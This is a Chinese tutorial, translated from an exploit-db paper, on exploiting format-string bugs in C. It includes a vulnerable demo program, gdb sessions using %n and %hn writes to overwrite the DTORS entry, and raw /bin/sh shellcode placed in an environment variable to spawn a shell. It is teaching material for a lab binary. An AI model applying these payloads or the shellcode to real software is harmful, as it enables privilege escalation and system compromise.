Format String Exploitation 格式化字符漏洞

0×00背景介绍

注意:因为NX, ASLR以及内核的一些安全措施,下面的Exploit在现在操作系统下无法重现。如果还有后续教程的话,会解释如何绕过这些控制。
格式化字符串包含ASCIIZ字符串和格式化参数,如:printf(“my name is.%s\n”,”saif”); 它可以告诉程序以什么样的格式输出字符串。

格式字符串Format String输出Output用法usage
%d十进制数输出十进制数
%s字符串输出字符串
%x十六进制数输出十六进制数
%n字节数已打印的字节数写入内存

0×01 格式化字符串的漏洞

格式化字符串的漏洞经常存在以下函数中:printf,vsprintf,fprintf,vsnprintf,sprint,vfprintf,snprintf,vprintf

下面的一个例子演示了漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{

char test[1024];
strcpy(test,argv[1]);
printf("The right way:");
printf("%s",test);
printf("\n");
printf("\n");
printf("The wrong way:");
printf(test);
printf("\n");
}

如果我们构造输入的参数,比如:

1
2
3
4
5
6
[root@localhost shell]#./fmt_test $(python -c 'print "%08x."*20')
The right way:%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

The wrong way:bfd7469f.000000f0.00000006.78383025.3830252e.30252e78.252e7838.2e783830.78383025.
3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.7838
3025.3830252e.

因为我们没有指定printf格式化输出的字符串,所以程序自动开始从栈上弹出数据并输出。
用一个例子来解释:“printf(“this is a %s, with a number %d, and address %08x”,a,b,&c);”
栈是向低地址增长,并且参数是逆向压栈。此时栈的布局如下:(原文是反过来的,我认为应该是这样,如有错误请指正)

printf的返回地址栈顶
变量a
变量b
变量c的地址

当我们执行

1
[root@localhost shell]#./fmt_test AAAA$(python -c ‘print “%08x.”*20′)

时,输出是

1
2
3
4
The right way:AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

The wrong way:AAAAbf92a69b.000000f0.00000006.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e783
8.2e783830.78383025

可以看到,41414141(AAAA)从栈里弹出。
在一些系统上,有可能直接访问输入的字符串,我们可以使用”%4$”来读取栈上第四个参数。

1
2
3
4
[root@localhost shell]#./fmt_test 'AAAA.%4$x'
The right way:AAAA.%4$x

The wrong way:AAAA.41414141

0×02 格式化字符串攻击

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[]) {
char buf[512];
if (argc < 2) {
printf("%s\n","Failed");
return 1;
}
snprintf(buf, sizeof(buf), argv[1]);
buf[sizeof (buf) - 1] = '\x00';
return 0;
}

使用ltrace来跟踪call,直到我们在第10个%X中找到我们刚开始传入的字符串(AAAA)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[fmt@saif fmt]$ ltrace ./fmt AAAA%X%X%X%X%X%X%X%X
__libc_start_main(0x80483ac, 2, 0xbfffdae4, 0x8048440, 0x8048430
snprintf("AAAA00000000", 512, "AAAA%X%X%X%X%X%X%X%X", 0, 0, 0, 0, 0, 0, 0, 0) = 12
+++ exited (status 0) +++
[fmt@saif fmt]$ ltrace ./fmt AAAA%X%X%X%X%X%X%X%X%X
__libc_start_main(0x80483ac, 2, 0xbfffdae4, 0x8048440, 0x8048430
snprintf("AAAA000000000", 512, "AAAA%X%X%X%X%X%X%X%X%X", 0, 0, 0, 0, 0, 0, 0, 0, 0) = 13
+++ exited (status 0) +++
[fmt@saif fmt]$ ltrace ./fmt AAAA%X%X%X%X%X%X%X%X%X%X
__libc_start_main(0x80483ac, 2, 0xbfffdae4, 0x8048440, 0x8048430
snprintf("AAAA00000000041414141", 512, "AAAA%X%X%X%X%X%X%X%X%X%X", 0, 0, 0, 0, 0, 0,
0, 0, 0, 0x41414141) = 21
+++ exited (status 0) +++
[fmt@saif fmt]$

获得Destructosr end的地址,因为大多数的C程序都会在main结束后调用Destructors。

1
2
3
[fmt@saif fmt]$ nm fmt | grep DTOR
08049584 d __DTOR_END__
08049580 d __DTOR_LIST__

在gdb中运行它,并在printf前下断点。

1
2
3
4
(gdb) disas main
0x08048408 : push %eax
0x08048409 : call 0x80482f0
(gdb) break *main+93

尝试向DTOR END地址写入数据。

1
r $(printf "\x84\x95\x04\x08AAAA")%x%x%x%x%x%x%x%x%x%n

因为栈上的数据已被我们控制,所以把第10个%x替换成%n。%n会将已打印的字节数写入内存,所以从刚开始的4字节地址,加上4字节的四个A,加上后面的9字节的9个%x,%n会把17写入 0×08049584。

1
2
3
4
(gdb) r $(printf "\x84\x95\x04\x08AAAA")%x%x%x%x%x%x%x%xi%x%n
Starting program: fmt $(printf "\x84\95\04\08AAAA")%x%x%x%x%x%x%x%x%x%n

Breakpoint 1, 0x08048409 in main ()

我们看一个0×08049584 的值,是0×00000000

1
2
3
4
5
(gdb) x/10x 0x08049584
0x8049584 : 0x00000000 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

继续执行

1
2
3
4
5
6
7
8
9
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x00125e9c in __libc_start_main () from /lib/libc.so.6
(gdb) x/10x 0x08049584
0x8049584 : 0x00000011 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

可以看到,0×8049584 的值被成功改为17(十六进制11)。
现在,我们尝试写入0xDDCCBBAA,四次每次写入一个字节。

1
2
3
r $(printf
"\x84\x95\x04\x08JUNK\x85\x95\x04\x08JUNK\x86\x95\x04\x08JUNK\x87\x95\x04\x08")%x%x%x%
x%x%x%x%x%x%n%x%n%x%n%x%n

细节:
将JUNK(32位)或者任意四字节放在地址之间,用来对应%n和%n之间的%x。
“格式化字符串的宽度会用它的值填充输出”
例子中的%8x是填充输出宽度的最小值,使得输出为8位。
首先,在第一个地址中写入0xaa。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) r $(printf
"\x84\x95\x04\x08JUNK\x85\x95\x04\x08JUNK\x86\x95\x04\x08JUNK\x87\x95\x04\x08")%x%x%x%
x%x%x%x%x%8x%n
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: fmt $(printf
"\x84\x95\x04\x08JUNK\x85\x95\x04\x08JUNK\x86\x95\x04\x08JUNK\x87\x95\x04\x08")%x%x%x%
x%x%x%x%x%8x%n

Breakpoint 1, 0x08048409 in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x00a83e9c in __libc_start_main () from /lib/libc.so.6
(gdb) x/10x 0x08049584
0x8049584 : 0x00000025 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

可以看到,0×8049584被写为0×00000025。
计算宽度的方法是:“要写入的字节数”-“输出的字节数”+“%n之前的8字节(%8x)”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) p 0xaa-0x2c+8
$5 = 134
(gdb) r $(printf
"\x84\x95\x04\x08JUNK\x85\x95\x04\x08JUNK\x86\x95\x04\x08JUNK\x87\x95\x04\x08")%x%x%x%
x%x%x%x%x%134x%n
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x00a83e9c in __libc_start_main () from /lib/libc.so.6

(gdb) x/10x 0x08049584
0x8049584 : 0x000000aa 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

第二个0xbb也是这样计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) p 0xbb-0xaa
$6 = 17
(gdb)
(gdb) r $(printf
"\x84\x95\x04\x08JUNK\x85\x95\x04\x08JUNK\x86\x95\x04\x08JUNK\x87\x95\x04\x08")%x%x%x%
x%x%x%x%x%134x%n%17x%n
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: fmt $(printf
"\x84\x95\x04\x08JUNK\x85\x95\x04\x08JUNK\x86\x95\x04\x08JUNK\x87\x95\x04\x08")%x%x%x%
x%x%x%x%x%134x%n%17x%n

Breakpoint 1, 0x08048409 in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x0026fe9c in __libc_start_main () from /lib/libc.so.6
(gdb) x/10x 0x08049584
0x8049584 : 0x0000bbaa 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

依此类推。。

0×03 使用短写攻击格式化字符串漏洞

另一种更简单的方法是使用%hn,它写入WORD而不是BYTE,这样只用写2次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
r $(printf "\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%8x%hn
(gdb) r $(printf "\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%8x%hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: fmt $(printf
"\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%8x%hn

Breakpoint 1, 0x08048409 in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x008e9e9c in __libc_start_main () from /lib/libc.so.6
(gdb) x/10x 0x08049584
0x8049584 : 0x0000001c 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

对于宽度的计算有一些不同,我们可以导出环境变量egg,并获得它的地址。

1
2
3
4
5
6
7
8
9
10
cd /tmp
vim getnev.c
#include
#include
int main(void)
{

printf("Egg address: %pn",getenv("EGG"));
}
sh-3.2$gcc getenv.c -o getenv | wd must be in /tmp to successfully compile
Egg address: 0xbfffdce5

把上面的地址写入DTORS,这样当程序完成执行时,我们的shellcode就执行了。
把地址分出2个WORD,并计算它的宽度。

1
2
3
(gdb) p 0xdce5-20
$7 = 56529
(gdb)

20是字符串从开始到%hm前一个的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) r $(printf "\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%56529x%hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: fmt $(printf
"\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%56529x%hn

Breakpoint 1, 0x08048409 in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x00adee9c in __libc_start_main () from /lib/libc.so.6
(gdb) x/10x 0x08049584
0x8049584 : 0x0000dce5 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

接下来将另一半地址减去前面的值。

1
2
3
(gdb) p 0xbfff -0xdce5
$9 = -7398
(gdb)

因为另一半地址的值小于前面的值,所以产生了负值。我们可以把另一半地址加1重新计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) p 0x1bfff -0xdce5
$10 = 58138
(gdb)
(gdb) r $(printf
"\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%56529x%hn%58138x%hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: fmt $(printf
"\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%56529x%hn%58138x%hn

Breakpoint 1, 0x08048409 in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
0x0080fe9c in __libc_start_main () from /lib/libc.so.6
(gdb) x/10x 0x08049584
0x8049584 : 0xbfffdce5 0x00000000 0x00000001 0x00000010
0x8049594 : 0x0000000c 0x08048298 0x0000000d 0x080484d4
0x80495a4 : 0x00000004 0x08048168
(gdb)

我们尝试运行一下,看看是否可以得到shell。

1
2
3
4
5
export
EGG=$'\x31\xdb\x31\xc0\x66\xbb\x5f\x02\xb0\x17\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8
d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\x
ff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42
Egg address: 0xbfffdcbb

环境变量Egg的地址有所变化,计算新的宽度。

1
2
3
4
(gdb) p 0xdcbb-20
$1 = 56487
(gdb) p 0x1bfff-0xdcbb
$3 = 58180

运行,成功得到shell。

1
2
3
[fmt@saif fmt]$ ./fmt $(printf
"\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%56487x%hn%58180x%hnsh-3.2$
sh-3.2$

原文:http://www.exploit-db.com/wp-content/themes/exploit/docs/28476.pdf